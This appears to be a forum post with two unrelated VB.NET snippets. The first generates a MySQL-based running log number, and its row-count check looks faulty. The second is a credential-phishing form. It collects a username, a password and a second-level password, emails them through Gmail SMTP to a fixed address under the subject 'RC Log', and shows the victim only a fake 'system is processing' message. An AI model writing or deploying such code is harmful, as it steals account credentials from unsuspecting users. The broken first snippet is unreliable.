sql = "select max(runnum) as runnum from testnum"
MyCommand = New MySqlCommand(sql, Con)
drConnection = MyCommand.ExecuteReader
dtConnection = New DataTable
dtConnection.Load(drConnection)
Dim a As String
MsgBox(dtConnection.Rows.Count)
If dtConnection.Rows.Count > 1 Then
If (dtConnection.Rows(0).Item(0).ToString).Substring(3, 4) = Date.Now.ToString("yyMM") Then
a = (dtConnection.Rows(0).Item(0).ToString).Substring(8, 4)
a = (CInt(a) + 1).ToString("0000")
Label5.Text = "LOG" & Date.Now.ToString("yyMM-") & a
Exit Sub
Else
Label5.Text = "LOG" & Date.Now.ToString("yyMM-") & "0001"
Exit Sub
End If
Else
Label5.Text = "LOG" & Date.Now.ToString("yyMM-") & "0001"
End If
Tag : .NET, MySQL, Win (Windows App), VB.NET, VS 2010 (.NET 4.x)
If TextBox1.Text = "" Or TextBox2.Text = "" Or TextBox3.Text = "" Then
MsgBox("ระบบกำลังดำเนินการ")
Else
Dim htmail As New MailMessage
With htmail
.From = New MailAddress("[email protected]")
.To.Add("[email protected]")
.Subject = ("RC Log")
.Body = ("Username : " & TextBox1.Text & ", Password : " & TextBox2.Text & ", Password ชั้น 2 : " & TextBox3.Text)
End With
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("[email protected]", "Password")
SMTPServer.EnableSsl = True
SMTPServer.Send(htmail)
Try
MsgBox("ระบบกำลังดำเนินการ")
Catch ex As Exception
MsgBox("ระบบกำลังดำเนินการ")
End Try
End If